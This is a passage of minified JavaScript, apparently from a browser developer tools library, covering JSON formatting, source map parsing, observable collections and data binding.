e}e+=this._source[this._index]}}while(++this._index<this._source.length);F12.Tools.Utility.Assert.fail("Should not be here");return e}parseElement(){F12.Tools.Utility.Assert.isTrue(this._source[this._index].match(/[a-zA-Z_]/),"Non alpha or underscore character");var e="";e+=this._source[this._index];for(;++this._index<this._source.length;)switch(this._source[this._index]){case":":e+=this._source[this._index];break;default:if(!this._source[this._index].match(/[a-zA-Z0-9]/)&&"_"!==this._source[this._index]&&"."!==this._source[this._index]&&"-"!==this._source[this._index]){this._index--;return e}e+=this._source[this._index]}F12.Tools.Utility.Assert.fail("Should not be here");return e}parseAttribute(){F12.Tools.Utility.Assert.isTrue(this._source[this._index].match(/[a-zA-Z_]/),"Non alpha or underscore character");var e="";e+=this._source[this._index];for(;++this._index<this._source.length;)switch(this._source[this._index]){case".":case":":e+=this._source[this._index];break;case"-":case"_":e+=this._source[this._index];break;default:if(!this._source[this._index].match(/[a-zA-Z0-9]/)){this._index--;return e}e+=this._source[this._index]}F12.Tools.Utility.Assert.fail("Should not be here");return e}}e.HTMLScriptFinder=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{static supportsMimeType(e){if(e){var t=e.toLowerCase();return"application/json"===t||"text/x-json"===t}return!1}format(e){this._text="";this._indentation=new i;try{var t=JSON.parse(e);this.printItem(t);return this._text}catch(t){return e}}printItem(e){null===e?this._text+="null":e instanceof Array?this.printArray(e):"object"==typeof e?this.printObject(e):"string"==typeof e?this._text+='"'+e+'"':"number"==typeof e?this._text+=e:"boolean"==typeof e&&(this._text+=e)}printArray(e){e.length>1?this.printLongArray(e):this.printShortArray(e)}printObject(e){Object.getOwnPropertyNames(e).length>1?this.printLongObject(e):this.printShortObject(e)}printLongArray(e){this._text+="[\n";this._indentation.increase();for(var t=0;t<e.length;t++){this._text+=this.indent();this.printItem(e[t]);t<e.length-1&&(this._text+=",");this._text+="\n"}this._indentation.decrease();this._text+=this.indent()+"]"}printShortArray(e){this._text+="[";e.length>0&&this.printItem(e[0]);this._text+="]"}printLongObject(e){var t=Object.getOwnPropertyNames(e);this._text+="{\n";this._indentation.increase();for(var i=0;i<t.length;i++){var s=t[i];this._text+=this.indent()+'"'+s+'": ';this.printItem(e[s]);i<t.length-1&&(this._text+=",");this._text+="\n"}this._indentation.decrease();this._text+=this.indent();this._text+="}"}printShortObject(e){var t=Object.getOwnPropertyNames(e);this._text+="{";if(t.length>0){this._text+='"'+t[0]+'": ';this.printItem(e[t[0]])}this._text+="}"}indent(){return this._indentation.print()}}e.JsonFormatter=t;class i{constructor(){this._indentDepth=0;this._indentString=""}increase(){this._indentDepth++;this._indentString+="    "}decrease(){this._indentDepth--;this._indentString=this._indentString.substring(0,4*this._indentDepth)}print(){return this._indentString}}}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t,i){if(e){F12.Tools.Utility.Assert.isTrue(e>=0,"Invalid line number: "+e.toString());this._line=e}else this._line=0;if(t){F12.Tools.Utility.Assert.isTrue(t>=0,"Invalid column: "+t.toString());this._column=t}else this._column=0;if(i){F12.Tools.Utility.Assert.isTrue(i>=0,"Invalid file: "+i.toString());this._file=i}else this._file=0}set line(e){F12.Tools.Utility.Assert.isTrue(e>=0,"Invalid line number: "+e.toString());this._line=e}set column(e){F12.Tools.Utility.Assert.isTrue(e>=0,"Invalid column: "+e.toString());this._column=e}set file(e){F12.Tools.Utility.Assert.isTrue(e>=0,"Invalid file: "+e.toString());this._file=e}get line(){return this._line}get column(){return this._column}get file(){return this._file}}t.EMPTY_POSITION=new t;e.Position=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t){this.urls=t;this._fileMappings=[];this._allMappings=[];e&&e.forEach(e=>{this._fileMappings[e.file]||(this._fileMappings[e.file]=[]);this._fileMappings[e.file].push(e);this._allMappings.push(e)});this._fileMappings.forEach(e=>{e.sort((e,t)=>e.sourceLine!==t.sourceLine?e.sourceLine-t.sourceLine:e.sourceColumn!==t.sourceColumn?e.sourceColumn-t.sourceColumn:e.generatedLine!==t.generatedLine?e.generatedLine-t.generatedLine:e.generatedColumn-t.generatedColumn)})}get allMappings(){return this._allMappings}static binarySearch(e,t,i){for(var s=e.length-1,n=0;n<=s;){var o=n+s>>1,r=i(e[o],t.line,t.column);if(r>0)n=o+1;else{if(!(r<0)){s=o;break}s=o-1}}for(var a=Math.max(Math.min(e.length-1,s),0);a+1<e.length&&0===i(e[a+1],t.line,t.column);)a++;return a}static binaryCompareSource(e,t,i){return e.sourceLine===t?i-e.sourceColumn:t-e.sourceLine}static binaryCompareGenerated(e,t,i){return e.generatedLine===t?i-e.generatedColumn:t-e.generatedLine}isValid(){return this._fileMappings&&this._fileMappings.length>0}hasOriginalPosition(i){var s=new e.Position(i.line,i.column,i.file),n=this._allMappings;if(n.length>0){var o=n[t.binarySearch(n,s,t.binaryCompareGenerated)];return i.line===o.generatedLine}return!0}getOriginalPosition(i){var s=new e.Position(i.line,i.column,i.file),n=this._allMappings;if(n.length>0){var o=t.binarySearch(n,s,t.binaryCompareGenerated);s.line=Math.max(n[o].sourceLine,0);s.column=Math.max(n[o].sourceColumn,0);s.file=Math.min(Math.max(n[o].file,0),this._fileMappings.length-1)}return s}getGeneratedPosition(i){var s=new e.Position(i.line,i.column,i.file),n=this._fileMappings[s.file];if(n&&n.length>0){var o=t.binarySearch(n,s,t.binaryCompareSource);s.line=Math.max(n[o].generatedLine,0);s.column=Math.max(n[o].generatedColumn,0)}return s}}e.SourcemapMappings=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{static calculateMappings(i){var s=[];if(!i||3!==i.version||!i.mappings||"string"!=typeof i.mappings||!i.sources||0===i.sources.length)return null;var n=i.sources.length,o=new e.SourcemapMapping,r=0,a=i.mappings;if(0===a.length){var l=new e.SourcemapMapping;s.push(l)}for(var h=0,d=0,c=a.length;d<c;)if(a.charAt(d)===t.ScopeOrLineDelimiter){r++;d++;o.generatedColumn=0}else if(a.charAt(d)===t.SegmentDelimiter)d++;else{(l=new e.SourcemapMapping).generatedLine=r;var u=e.Base64VLQFormat.decode(a,d);l.generatedColumn=o.generatedColumn+u.value;o.generatedColumn=l.generatedColumn;if((d+=u.charsRead)<c&&a.charAt(d)!==t.ScopeOrLineDelimiter&&a.charAt(d)!==t.SegmentDelimiter){if((h+=(u=e.Base64VLQFormat.decode(a,d)).value)>n)return null;d+=u.charsRead}l.file=h;if(d<c&&a.charAt(d)!==t.ScopeOrLineDelimiter&&a.charAt(d)!==t.SegmentDelimiter){u=e.Base64VLQFormat.decode(a,d);l.sourceLine=u.value+o.sourceLine;o.sourceLine=l.sourceLine;d+=u.charsRead}if(d<c&&a.charAt(d)!==t.ScopeOrLineDelimiter&&a.charAt(d)!==t.SegmentDelimiter){u=e.Base64VLQFormat.decode(a,d);l.sourceColumn=u.value+o.sourceColumn;o.sourceColumn=l.sourceColumn;d+=u.charsRead}d<c&&a.charAt(d)!==t.ScopeOrLineDelimiter&&a.charAt(d)!==t.SegmentDelimiter&&(d+=(u=e.Base64VLQFormat.decode(a,d)).charsRead);s.push(l)}return s}static calculateScopeSegments(i){if(i&&3===i.version&&"string"==typeof i.x_ms_scopes&&0!==i.x_ms_scopes.length){for(var s,n=i.x_ms_scopes,o=0,r=n.length,a=[],l=0,h=0;o<r;){var d=e.Base64VLQFormat.decode(n,o);if(!d)return;o+=d.charsRead;var c=e.Base64VLQFormat.decode(n,o);if(!c)return;o+=c.charsRead;var u=new e.SourceScopeSegment(l+d.value,h+c.value);l=u.line;h=u.column;var m=n.charAt(o++);if(m===t.StartScopeSegmentDelimiter){s=new e.SourceScope(u,s);a.push(s)}else{if(m!==t.EndScopeSegmentDelimiter)return;if(!s||!s.startSegment||s.endSegment)return;s.endSegment=u;s=s.parentScope}}if(!s)return a}}static calculateLocalsMapping(i,s){if(i&&3===i.version&&i.names&&0!==i.names.length&&"string"==typeof i.x_ms_locals&&0!==i.x_ms_scopes.length&&s&&0!==s.length)for(var n=i.names,o=i.x_ms_locals,r=(o.length,0),a=s[r],l=0,h=o.length,d=0;l<h;){var c=e.Base64VLQFormat.decode(o,l);if(!c)return;l+=c.charsRead;var u=e.Base64VLQFormat.decode(o,l);if(u){a.localsMap[n[d+=c.value]]=n[d+=u.value];l+=u.charsRead}else a.localsMap[n[d+=c.value]]=null;if(l>=h)break;var m=o.charAt(l++);if(m===t.ScopeOrLineDelimiter)a=s[++r];else if(m!==t.SegmentDelimiter)return}}static parseMapContent(e){var t=null;try{if(")]}'"===e.substr(0,4)){var i=e.indexOf("\n");i>=0&&(e=e.slice(i+1))}t=JSON.parse(e)}catch(e){}return t}}t.StartScopeSegmentDelimiter=">";t.EndScopeSegmentDelimiter="<";t.SegmentDelimiter=",";t.ScopeOrLineDelimiter=";";e.SourcemapParser=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";"function"==typeof importScripts&&"undefined"==typeof document&&(onmessage=function(t){importScripts("sourcemapParser.js","sourcemapMappings.js","workerMessaging.js","base64.js");var i,s,n,o=t.data.content;if((i=e.SourcemapParser.parseMapContent(o))&&3===i.version){s=e.SourcemapParser.calculateMappings(i);n=e.SourcemapParser.calculateScopeSegments(i);e.SourcemapParser.calculateLocalsMapping(i,n)}s?this.postMessage({id:t.data.id,sourcemapMappings:s,urls:i.sources,sourceRoot:i.sourceRoot,sourcesContent:i.sourcesContent,version:i.version,sourceMediaTypes:i.x_ms_sourceMediaTypes,mediaTypes:i.x_ms_mediaTypes,sourceScopes:n}):this.postMessage({id:t.data.id,sourcemapMappings:null,urls:[],sourceRoot:"",sourcesContent:[],version:i&&i.version,sourceMediaTypes:null,mediaTypes:null,sourceScopes:null})})}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(t){this._start=t.start;this._end=t.end;this._lineOffsets=t.lineOffsets;this._generatedLineOffset=t.generatedLineOffset;this._sourcemap=new e.SourcemapMappings(t.mappings,[]);this._length=t.length}get start(){return this._start}get end(){return this._end}get generatedLineOffset(){return this._generatedLineOffset}get sourcemap(){return this._sourcemap}getPosition(t){F12.Tools.Utility.Assert.isTrue(t>=0,"Negative offset");F12.Tools.Utility.Assert.isTrue(this._lineOffsets.length>=1,"Need to call calculateLineOffsets first");t=Math.min(t,this._length-1);for(var i=this._lineOffsets.length-1,s=0;s<i;){var n=s+i>>1;this._lineOffsets[n]<t?s=n+1:i=n}s>0&&s<this._lineOffsets.length&&this._lineOffsets[s]>t&&(s-=1);var o=t-this._lineOffsets[s];F12.Tools.Utility.Assert.isTrue(o>=0,"Calculated negative column");return new e.Position(s,o)}getOffset(e){F12.Tools.Utility.Assert.isTrue(this._lineOffsets.length>=1,"Need to call calculateLineOffsets first");F12.Tools.Utility.Assert.isTrue(e.line>=0,"Line outside of range");F12.Tools.Utility.Assert.isTrue(e.column>=0,"Column outside of range");var t;if(e.line>=this._lineOffsets.length)t=Math.max(0,this._length-1);else{t=this._lineOffsets[e.line]+e.column;e.line<this._lineOffsets.length-1&&t>=this._lineOffsets[e.line+1]&&(t=this._lineOffsets[e.line+1]-1);t>=this._length&&(t=Math.max(0,this._length-1))}return t+this._start}}e.SourceSpan=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(t,i,s){F12.Tools.Utility.Assert.isTrue(t>=0,"Invalid start offset: "+t.toString());F12.Tools.Utility.Assert.isTrue(i>=t,"Invalid end offset: "+i.toString());this._data=new e.SourceSpanData;this._data.start=t;this._data.end=i;this._isScript=s;this._data.lineOffsets=[];this._data.generatedLineOffset=0;this._data.length=0;this._data.mappings=[]}set _mappings(e){this._data.mappings=e}get _mappings(){return this._data.mappings}get data(){return this._data}get start(){return this._data.start}get end(){return this._data.end}get isScript(){return this._isScript}set generatedLineOffset(e){F12.Tools.Utility.Assert.isTrue(e>=0,"offset is negative");this._data.generatedLineOffset=e}get generatedLineOffset(){return this._data.generatedLineOffset}get lineOffsets(){return this._data.lineOffsets}calculateLineOffsets(e){var t=0;this._data.lineOffsets=[];this._data.lineOffsets[t]=0;this._data.length=e.length;for(var i=0;i<e.length;i++)"\n"===e.charAt(i)&&(this._data.lineOffsets[++t]=i+1);return t}}e.SourceSpanBuilder=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(){this._stateStack=[]}pushState(e){this._stateStack.push(e)}pushStates(...e){for(;e.length;)this.pushState(e.pop())}popState(){return this._stateStack.pop()}run(){for(;this.runOne(););}runUntil(e){for(var t;t=this._stateStack.pop();){t.call(this);if(t===e)return!0}return!1}runOne(){var e;if(e=this._stateStack.pop()){e.call(this);return!0}return!1}stop(){this._stateStack.length=0}}e.StateMachine=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(t,i){this.text=t;this.errorMessage=i;var s=new e.SourceSpanBuilder(0,t.length);s.calculateLineOffsets(t);this._sourceSpan=new e.SourceSpan(s.data)}getOriginalPosition(e){return e}getMappedPosition(e){return e}positionToOffset(e){return 0===this.text.length?0:this._sourceSpan.getOffset(e)}offsetToPosition(t){return 0===this.text.length?e.Position.EMPTY_POSITION:this._sourceSpan.getPosition(Math.min(this.text.length,Math.max(0,t)))}getOffsetMappings(){return[]}}e.UnmappedTextMapping=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(){this.generatedColumn=0;this.generatedLine=0;this.sourceColumn=0;this.sourceLine=0;this.file=0}}e.SourcemapMapping=t;class i{constructor(e,t){this.line=e;this.column=t}}e.SourceScopeSegment=i;class s{constructor(e,t=null){this.startSegment=e;this.parentScope=t;this.initializeLocalsMap()}get parentScope(){return this._parentScope}set parentScope(e){this._parentScope=e;this.initializeLocalsMap()}initializeLocalsMap(){this.parentScope?this.localsMap=Object.create(this.parentScope.localsMap):this.localsMap=Object.create(null)}}e.SourceScope=s;class n{}e.SourceSpanData=n;class o{}e.WorkerSendMessage=o;class r{}e.WorkerResponseMessage=r;class a{}e.WorkerMappingSubsetResponseMessage=a}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e=!1){this._waiters=new Array;this._signaled=e}wait(){return this._signaled?Promise.resolve():new Promise(e=>this._waiters.push(e))}set(){if(!this._signaled){this._signaled=!0;if(this._waiters.length>0)for(var e=this._waiters.splice(0,this._waiters.length),t=0,i=e.length;t<i;t++){(0,e[t])()}}}reset(){this._signaled=!1}}t.ManualResetEvent=i;class s{constructor(e,t=s.MAX_INT32){this._waiters=new Array;if((e|=0)<0||e>t)throw new RangeError;if((t|=0)<1)throw new RangeError;this._currentCount=e;this._initialCount=e;this._maxCount=t}get isEmpty(){return this._currentCount===this._initialCount}wait(){if(this._currentCount>0){this._currentCount--;return Promise.resolve()}return new Promise(e=>{this._waiters.push(e)})}release(e=1){if((e|=0)<1)throw new RangeError;if(this._maxCount-this._currentCount<e)throw new Error("Semaphore full");for(;e-- >0;)if(this._waiters.length>0){var t=this._waiters.shift();setImmediate(t)}else this._currentCount++}}s.MAX_INT32=Math.pow(2,31)-1;t.Semaphore=s;function n(e,t){return e.then(e=>{t();return e},e=>{t();return Promise.reject(e)})}t.tryFinally=n;function o(e,t,i){return n(e.catch(t),i)}t.tryCatchFinally=o;function r(e){return new Promise(t=>setTimeout(t,e))}t.sleep=r;function a(e){return"then"in e?e:Promise.resolve(e)}function l(e,t,i){let s=Array.isArray(e)?[]:{};Object.keys(e).forEach(n=>{s[n]=a(e[n]).then(t,i)});return Promise.all(s)}t.thenEach=l;function h(e){return new Promise((t,i)=>{var s=0,n=()=>{if(s<e.length){var t=e[s++];return Promise.resolve(t()).then(n,i)}};t(n())})}t.iterate=h;function d(t,i,s){return t()?Promise.resolve(!0):s<0?Promise.resolve(!1):e.Async.sleep(i).then(()=>this.waitForCondition(t,i,s-i))}t.waitForCondition=d}(e.Async||(e.Async={}))}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict";class t{delay(e){if(this._id){window.clearImmediate(this._id);this._id=0}this._id=window.setImmediate(e)}}e.Delayer=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(){this._handlers=null;this._eventsRunning=0}addHandler(e){F12.Tools.Utility.Assert.isTrue("function"==typeof e,"handler must be function");this._handlers||(this._handlers=[]);this._handlers.push(e);return{unregister:()=>this.removeHandler(e)}}addOne(e){var t=this.addHandler(i=>{t.unregister();e(i)});return t}removeHandler(e){for(var t=this._handlers.length;t--;)if(this._handlers[t]===e){this._eventsRunning>0?this._handlers[t]=null:this._handlers.splice(t,1);return}}invoke(e,t){if(this._handlers){this._eventsRunning++;for(var i=0;i<this._handlers.length;i++)this._handlers[i]&&this._handlers[i](e,t);this._eventsRunning--;0===this._eventsRunning&&this.cleanupNullHandlers()}}invokeAsync(t){if(this._handlers){this._eventsRunning++;for(var i=[],s=0;s<this._handlers.length;s++){var n=this._handlers[s]&&this._handlers[s](t);n&&n.then&&i.push(n)}this._eventsRunning--;0===this._eventsRunning&&this.cleanupNullHandlers();return Promise.all(i)}return e.PromiseUtilities.EmptyPromise}cleanupNullHandlers(){for(var e=this._handlers.length-1;e>=0;e--)this._handlers[e]||this._handlers.splice(e,1)}}e.EventSource=t}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict";class t{constructor(e){this._sizeLimit=e;this.resetPool()}get sizeLimit(){return this._sizeLimit}getControl(e,t){var i=this.getControlBucket(e,!0);return i.length>0?i.pop():t?t():null}recycleControl(e,t){var i=this.getControlBucket(e,!0);null!==this._sizeLimit&&void 0!==this._sizeLimit&&i.length>=this._sizeLimit||i.push(t)}clear(e){e?this._pool.delete(e):this.resetPool()}getControlBucket(e,t){var i=this._pool.get(e);if(!i&&t){i=[];this._pool.set(e,i)}return i}resetPool(){this._pool=new Map}}e.ControlPool=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(t=[]){this._list=t.slice(0);this._filteredList=this._list;this._mutableItemsLog=[];this.propertyChanged=new e.EventSource;this.collectionChanged=new e.EventSource}get filter(){return this._filter}set filter(e){if(this._filterChangedEventRegistration){this._filterChangedEventRegistration.unregister();this._filterChangedEventRegistration=null}if(e){this._filter=e;this._filterChangedEventRegistration=this._filter.filterChanged.addHandler(this.onFilterChanged.bind(this))}}get length(){return this._filteredList.length}get lengthOfOriginalList(){return this._list.length}getFilteredArray(){return this._filteredList}getOriginalArray(){return this._list}push(...e){var i,s=this._list.length,n=Array.prototype.push.apply(this._list,e),o=0;if(this._filter&&this._filteredList!==this._list){o=this._filteredList.length;n=(i=this.filterAndPushItems(e)).length}else{o=s;i=e}this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(0,i,o);return n}pop(){var e=this._filteredList.pop();if(this._filteredList!==this._list){var i=this._list.lastIndexOf(e);F12.Tools.Utility.Assert.isTrue(i>=0,"Unable to pop unknown item");this._list.splice(i,1)}this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(1,null,null,[e],this._filteredList.length);return e}indexOf(e,t){return this._filteredList.indexOf(e,t)}indexOfFromOriginalList(e,t){return this._list.indexOf(e,t)}lastIndexOf(e,t=-1){return this._filteredList.lastIndexOf(e,t)}lastIndexOfFromOriginalList(e,t=-1){return this._list.lastIndexOf(e,t)}clear(){var e=this._list;this._list=[];this._filteredList=[];this.clearBacklogFilterItems();this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(3,null,null,e,0)}onFilterChanged(){this.runFilter()}map(e,t){return this._filteredList.map(e,t)}getItem(e){return this._filteredList[e]}getItemFromOriginalList(e){return this._list[e]}resetItems(e){this._list=e.slice(0);this._filteredList=this._list;return this.runFilter().length}runFilter(){this.clearBacklogFilterItems();this._filteredList=[];var e=this.filterAndPushItems(this._list);this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(2);return e}filterAndPushItems(e){for(var t=[],i=0;i<e.length;i++){var s=e[i];0===this._filter.getFilterState(s)&&t.push(s);this._filter.isFilteredValueMutable(s)&&s.propertyChanged&&this._mutableItemsLog.push({item:s,position:this._filteredList.length+t.length,propertyChangedEventRegistration:s.propertyChanged.addHandler(this.backlogItemPropertyChanged.bind(this,s))})}Array.prototype.push.apply(this._filteredList,t);return t}clearBacklogFilterItems(){for(var e=0;e<this._mutableItemsLog.length;e++)this._mutableItemsLog[e].propertyChangedEventRegistration&&this._mutableItemsLog[e].propertyChangedEventRegistration.unregister();this._mutableItemsLog=[]}backlogItemPropertyChanged(e,i){if(this._filteredList!==this._list&&this.filter.isValidFilterProperty(i)){var s=this.findBacklogItem(e),n=this._filter.getFilterState(s.item),o=this._filteredList.indexOf(e);if(0===n&&-1===o){this._filteredList.splice(s.position,0,s.item);this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(0,[s.item],s.position)}else if(1===n&&o>-1){this._filteredList.splice(o,1);this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(1,[e],o)}this._filter.isFilteredValueMutable(s.item)||this.removeItemFromBacklog(s)}}findBacklogItem(e){for(var t,i=0;i<this._mutableItemsLog.length;i++)if(this._mutableItemsLog[i].item===e){t=this._mutableItemsLog[i];break}return t}removeItemFromBacklog(e){var t=this._mutableItemsLog.indexOf(e);this._mutableItemsLog.splice(t,1);if(t>-1)for(var i=t;i<this._mutableItemsLog.length;i++)this._mutableItemsLog[i].position++;e.propertyChangedEventRegistration.unregister()}invokeCollectionChanged(e,t,i,s,n){var o={action:e,newItems:t,newStartingIndex:i,oldItems:s,oldStartingIndex:n};this.collectionChanged.invoke(o)}}t.LengthProperty="length";e.FilteredObservableCollection=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(t=[]){this._list=t.slice(0);this.propertyChanged=new e.EventSource;this.collectionChanged=new e.EventSource}get length(){return this._list.length}getInternalArray(){return this._list}push(...e){var i=this._list.length,s=Array.prototype.push.apply(this._list,e);this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(0,e,i);return s}pop(){var e=this._list.pop();this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(1,null,null,[e],this._list.length);return e}splice(e,i,...s){var n=[e,i];s&&Array.prototype.push.apply(n,s);var o=Array.prototype.splice.apply(this._list,n),r=o.length>0,a=s&&s.length>0;if(r||a){this.propertyChanged.invoke(t.LengthProperty);r&&this.invokeCollectionChanged(1,null,null,o,e);a&&this.invokeCollectionChanged(0,s,e,null,null)}return o}indexOf(e,t){return this._list.indexOf(e,t)}lastIndexOf(e,t=-1){return this._list.lastIndexOf(e,t)}clear(){var e=this._list;this._list=[];this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(3,null,null,e,0)}filter(e,t){return this._list.filter(e,t)}map(e,t){return this._list.map(e,t)}getItem(e){return this._list[e]}resetItems(e){this._list=[];var i=Array.prototype.push.apply(this._list,e);this.propertyChanged.invoke(t.LengthProperty);this.invokeCollectionChanged(2);return i}invokeCollectionChanged(e,t,i,s,n){var o={action:e,newItems:t,newStartingIndex:i,oldItems:s,oldStartingIndex:n};this.collectionChanged.invoke(o)}}t.LengthProperty="length";e.ObservableCollection=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(){this.propertyChanged=new e.EventSource}static fromObject(e){if(void 0!==e.propertyChanged)return e;var s=new t,n={};Object.defineProperties(s,i.expandProperties(e,n,s));s._backingData=n;return s}}e.Observable=t;class i{static defineProperty(e,t,i,s,n){var o="_"+t;Object.defineProperty(e.prototype,t,{get:function(){void 0===this[o]&&(this[o]=i);return this[o]},set:function(e){var i=this[t];if(e!==i){n&&n(this,i,e);this[o]=e;var r=this;r.propertyChanged.invoke(t,r);s&&s(this,i,e)}}})}static describePropertyForObjectShape(e,i,s,n){var o={get:()=>s[e],enumerable:!0},r=i[e];if("object"==typeof r){s[e]=t.fromObject(r);o.set=(i=>{if(i!==s[e]){s[e]=t.fromObject(i);n.propertyChanged.invoke(e,n)}})}else{s[e]=r;o.set=(t=>{if(t!==s[e]){s[e]=t;n.propertyChanged.invoke(e,n)}})}return o}static expandProperties(e,t,s){var n={};for(var o in e)n[o]=i.describePropertyForObjectShape(o,e,t,s);return n}}e.ObservableHelpers=i}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict";e.targetAccessViaProperty={getValue:(e,t)=>e[t],isSourceSupported:e=>!!e,isValueSupported:e=>void 0!==e,setValue:(e,t,i,s)=>{e[t]=s}};e.targetAccessForModel={getValue:(e,t)=>e.model,isSourceSupported:e=>!0,isValueSupported:e=>!0,setValue:(e,t,i,s)=>{e.model=s}};e.targetAccessViaAttribute={getValue:(e,t)=>e.getAttribute(t),isSourceSupported:e=>!!e,isValueSupported:e=>!0,setValue:(e,t,i,s)=>{null===s||void 0===s?e.removeAttribute(t):e.setAttribute(t,s)}};e.targetAccessForClass={getValue:(e,t)=>e.classList.contains(t),isSourceSupported:e=>!!e,isValueSupported:e=>null!==e&&void 0!==e,setValue:(e,t,i,s)=>{F12.Tools.Utility.Assert.isTrue(null!==s&&void 0!==s,"Unexpected value");s?e.classList.add(t):e.classList.remove(t)}};class t{getValue(e,t){F12.Tools.Utility.Assert.fail("Event doesn't support two-way binding.");return null}isSourceSupported(e){return!0}isValueSupported(e){return!0}setValue(e,t,i,s){}}e.TargetAccessForEventBase=t;class i extends t{setValue(e,t,i,s){if(this._eventRegistration){this._eventRegistration.unregister();this._eventRegistration=null}if(i&&s){var n=e[t];n&&(this._eventRegistration=n.addHandler(s.bind(i)))}}}e.TargetAccessForEventSource=i;class s extends t{setValue(e,t,i,s){if(this._previousAddedHandler){e.removeEventListener(t,this._previousAddedHandler);this._previousAddedHandler=null}if(i&&s){this._previousAddedHandler=s.bind(i);e.addEventListener(t,this._previousAddedHandler)}}}e.TargetAccessForHTMLEvent=s;class n{constructor(t,i,s,o,r,a,l){F12.Tools.Utility.Assert.hasValue(i,"sourceExpression");F12.Tools.Utility.Assert.hasValue(s,"destination");F12.Tools.Utility.Assert.hasValue(o,"destinationProperty");a=a||n.ONE_WAY_MODE;var h=i.split(".");this._source=null;this._sourceChangedRegistration=null;this._destChangedRegistration=null;this._sourceProperty=h[0];this._childBinding=null;this._paused=!1;this._twoWay=!1;this._converter=r;this._destination=s;this._destinationProperty=o;this._targetAccess=l||e.targetAccessViaProperty;if(h.length>1){h.splice(0,1);this._childBinding=new n(null,h.join("."),s,o,r,a,this._targetAccess)}else if(a.toLowerCase()===n.TWO_WAY_MODE){this._twoWay=!0;this._destChangedRegistration=this.attachChangeHandler(s,e=>{"string"==typeof e&&null!==e&&e!==this._destinationProperty||this.updateSourceFromDest()})}this.setSource(t)}isForDestination(e,t){return e===this._destination&&t===this._destinationProperty}unbind(){this._source=null;if(this._sourceChangedRegistration){this._sourceChangedRegistration.unregister();this._sourceChangedRegistration=null}if(this._childBinding){this._childBinding.unbind();this._childBinding=null}if(this._destChangedRegistration){this._destChangedRegistration.unregister();this._destChangedRegistration=null}}updateSourceFromDest(){if(this._source&&this._twoWay){this._paused=!0;var e=this._targetAccess.getValue(this._destination,this._destinationProperty);this._converter&&(e=this._converter.convertFrom(e));this._source[this._sourceProperty]=e;this._paused=!1}}updateDestination(){if(!this._paused){this._paused=!0;var e=this.getValue();if(this._childBinding)this._childBinding.setSource(e);else if(this._targetAccess.isSourceSupported(this._source)){this._converter&&(e=this._converter.convertTo(e));this._targetAccess.isValueSupported(e)&&this._targetAccess.setValue(this._destination,this._destinationProperty,this._source,e)}this._paused=!1}}setSource(e){if(this._sourceChangedRegistration){this._sourceChangedRegistration.unregister();this._sourceChangedRegistration=null}this._source=e;this._source&&(this._sourceChangedRegistration=this.attachChangeHandler(this._source,e=>{"string"==typeof e&&null!==e&&e!==this._sourceProperty||this.updateDestination()}));this.updateDestination();this.updateSourceFromDest()}attachChangeHandler(e,t){if(e.propertyChanged)return e.propertyChanged.addHandler(t);var i=e;if(("INPUT"===i.tagName||"SELECT"===i.tagName)&&i.addEventListener&&i.removeEventListener){i.addEventListener("change",t);return{unregister:()=>i.removeEventListener("change",t)}}}getValue(){return this._source&&this._source[this._sourceProperty]}}n.ONE_WAY_MODE="oneway";n.TWO_WAY_MODE="twoway";e.Binding=n}(Common||(Common={}));!function(e){"use strict";class t{static initialize(){t.CreateShortenedUrlConverter=t.getCreateShortenedUrlConverter();t.HtmlTooltipFromResourceConverter=t.getHtmlTooltipFromResourceConverter();t.IntToStringConverter=t.getIntToStringConverter();t.IntToStringWithGroupSeperatorConverter=t.getIntToStringWithGroupSeperatorConverter();t.IntToBooleanConverter=t.getIntToBooleanConverter();t.InvertBool=t.invertBoolConverter();t.IsTabbableToTabIndexConverter=t.getIsTabbableToTabIndexConverter();t.JsonHtmlTooltipToInnerTextConverter=t.getJsonHtmlTooltipToInnerTextConverter();t.NotDisabledToTrue=t.getNotDisabledToTrueConverter();t.NullPermittedConverter=t.getNullPermittedConverter();t.OnToTrue=t.getOnToTrueConverter();t.ResourceConverter=t.getResourceConverter();t.StringToBooleanConverter=t.getStringToBooleanConverter();t.StringToIntConverter=t.getStringToIntConverter();t.ThemedImageConverter=t.getThemedImageConverter()}static getCreateShortenedUrlConverter(){return{convertTo:t=>e.ToolWindowHelpers.createShortenedUrlText(t),convertFrom:null}}static getResourceConverter(){return{convertTo:e=>e?Microsoft.Plugin.Resources.getString(e):"",convertFrom:null}}static 